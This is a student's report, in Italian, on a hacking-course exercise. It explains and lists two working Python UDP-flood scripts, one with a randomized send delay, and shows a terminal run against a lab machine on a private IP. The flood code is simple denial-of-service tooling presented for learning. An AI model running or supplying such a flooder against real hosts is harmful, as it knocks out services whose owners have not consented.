ESERCIZIO W7D4 - Programmazione per Hacker (Python PT.3)

RICHIESTA

La richiesta dell'esercizio W7D4 è quella di scrivere un programma in Python che simuli l'invio massivo di richieste UDP verso una macchina target (UDP Flood), in ascolto su una porta UDP casuale. Le condizioni da rispettare sono che IP e porta della macchina Target siano scelti dall'utente, che ogni pacchetto sia da 1 KB e che l'utente scelga quanti pacchetti inviare.

La parte facoltativa riprende le stesse richieste, aggiungendo però l'implementazione di un meccanismo di ritardo casuale tra l'invio di pacchetti UDP. Questo ritardo deve essere obbligatoriamente compreso fra gli 0 e gli 0.1 secondi.

~~~

SOLUZIONE

La soluzione dell'esercizio passa obbligatoriamente dalla creazione di un socket di rete, un punto di connessione virtuale che permette a due programmi di scambiarsi informazioni attraverso la rete. Una volta creato il socket, l'ho sfruttato per "bombardare" di dati la macchina target. Ho predisposto la possibilità per l'utilizzatore di modificare tutti i parametri relativi all'esecuzione del programma.

Per la parte facoltativa ho utilizzato lo stesso principio. Ho creato il socket, ho fatto in modo che il programma creasse il numero di pacchetti desiderati e poi ho "bombardato" di dati la macchina target. L'unica differenza è che l'invio di dati non ha seguito un intervallo prestabilito e scadenzato, ma ha seguito un intervallo di tempo irregolare e casuale.

~~~

ASPETTI TECNICI

Come possiamo vedere dal listato presente nelle pagine successive, la parte fondamentale dell'esercizio di oggi è la creazione di un socket di rete UDP, indispensabile per l'invio di pacchetti da una macchina all'altra.

L'utente inserisce manualmente l'indirizzo IP e la porta da utilizzare sul sistema target. Allo stesso modo, è sempre l'utente a scegliere la quantità di pacchetti da inviare. Una volta inseriti questi parametri, il programma crea il già citato socket di rete UDP. Ho poi utilizzato un ciclo FOR per iterare l'invio di pacchetti, così che tutti i pacchetti selezionati dall'utente siano effettivamente inviati. Alla fine dell'invio, il programma chiude in automatico il socket di rete UDP.

Per creare il pacchetto, ho utilizzato una funzione (generazionePacchetto) che crea un pacchetto da 1024 bytes - come richiesto dall'esercizio - e lo "riempie" di valori casuali grazie a un particolare metodo della funzione random. Per fare in modo che il programma potesse utilizzare tutte le funzioni richieste, ho importato i moduli socket (per la creazione del socket), random (per la generazione di numeri casuali) e time (per la parte facoltativa dell'esercizio).

E proprio per quel che riguarda la parte facoltativa, le logiche sono le stesse già utilizzate per la parte obbligatoria dell'esercizio. La grande differenza è rappresentata però dall'introduzione di un ritardo casuale fra un invio e l'altro dei vari pacchetti.

Per introdurre questa funzionalità, ho optato per la creazione di una funzione apposita (ritardoInvio), da richiamare all'interno del FOR che sovrintende all'invio dei pacchetti. Con il metodo random.uniform della funzione, creiamo un numero casuale fra due estremi (nel nostro caso fra 0 e 0.1). Nel ciclo FOR vado a richiamare ogni volta la funzione, ottenendo così ogni volta un numero casuale compreso fra 0 e 0.1. Questo valore casuale diventa il ritardo che applichiamo all'invio dei pacchetti.

Sia per la parte obbligatoria dell'esercizio che per la parte facoltativa, l'invio si conclude con un messaggio che comunica l'effettivo invio di tutti i pacchetti. Ho inserito questo messaggio per chiarezza, ma non è obbligatorio ai fini del funzionamento del programma.

~~~

LISTATO

Nelle seguenti immagini, il listato di entrambi i programmi con relativo messaggio di corretto invio. L'IDE è Visual Studio Code, l'esecuzione è su macchina virtuale Kali Linux

udpflood.py ● udpfloodFacoltativo.py ●

Users > pagizza > Code > udpflood.py > ...

```python
#Importazione dei moduli socket e random. Socket crea la comunicazione con il TARGET
# Random crea un pacchetto pieno di dati RANDOM
import socket
import random

#Funzione che genera un pacchetto da 1024 bytes pieno di dati casuali
def generazionePacchetto():
    pacchettoUDP = random.randbytes(1024)
    return pacchettoUDP

#Scelta dell'utente di IP e porta della macchina TARGET, su cui avviene l'invio
ipTarget = input("Inserisci l'IP della macchina target: ")
portaTarget = input ("Inserisci la porta scelta sulla macchina target: ")
portaTarget = int (portaTarget)

#Scelta dell'utente del numero di pacchetti UDP da inviare
numeroPacchetti = input ("Quanti pacchetti UDP vuoi inviare alla macchina target? ")
numeroPacchetti = int (numeroPacchetti)

#Creazione del socket di rete per l'invio di pacchetti UDP
socketRete = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

#Ciclo di invio del numero di pacchetti UDP scelto precedentemente dall'utente
for i in range (numeroPacchetti):
    pacchettoInvio = generazionePacchetto()
    socketRete.sendto(pacchettoInvio, (ipTarget, portaTarget))

#Chiusura del socket di rete e stampa a video del messaggio di completamento
socketRete.close()
print ("Invio dei pacchetti UDP completato")
```

udpflood.py ● udpfloodFacoltativo.py ●

Users > pagizza > Code > udpfloodFacoltativo.py > ...

```python
#Importazione dei moduli socket e random. Socket crea la comunicazione con il TARGET
# Random crea un pacchetto pieno di dati RANDOM
import socket
import random
import time

#Funzione che genera un pacchetto da 1024 bytes pieno di dati casuali
def generazionePacchetto():
    pacchettoUDP = random.randbytes(1024)
    return pacchettoUDP

#Funzione che genera un numero casuale tra 0 e 0.1.
# Si utilizza come ritardo casuale per l'invio del pacchetto
def ritardoInvio():
    ritardoPacchetto = random.uniform(0, 0.1)
    return ritardoPacchetto

#Scelta dell'utente di IP e porta della macchina TARGET, su cui avviene l'invio
ipTarget = input("Inserisci l'IP della macchina target: ")
portaTarget = input ("Inserisci la porta scelta sulla macchina target: ")
portaTarget = int (portaTarget)

#Scelta dell'utente del numero di pacchetti UDP da inviare
numeroPacchetti = input ("Quanti pacchetti UDP vuoi inviare alla macchina target? ")
numeroPacchetti = int (numeroPacchetti)

#Creazione del socket di rete per l'invio di pacchetti UDP
socketRete = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

#Ciclo di invio del numero di pacchetti UDP scelto precedentemente dall'utente
for i in range (numeroPacchetti):
    pacchettoInvio = generazionePacchetto()
    socketRete.sendto(pacchettoInvio, (ipTarget, portaTarget))
    #Questa funzione mette in pausa l'esecuzione del programma
    #I secondi sono generati casualmente con la funzione ritardoInvio
    time.sleep(ritardoInvio())

#Chiusura del socket di rete e stampa a video del messaggio di completamento
socketRete.close()
print ("Invio dei pacchetti UDP completato")
```

```
┌──(pagizza㉿kali)-[~/Desktop]
└─$ python3 udpflood.py
Inserisci l'IP della macchina target: 192.168.50.103
Inserisci la porta scelta sulla macchina target: 17171
Quanti pacchetti UDP vuoi inviare alla macchina target? 100
Invio dei pacchetti UDP completato

┌──(pagizza㉿kali)-[~/Desktop]
└─$
```
~~~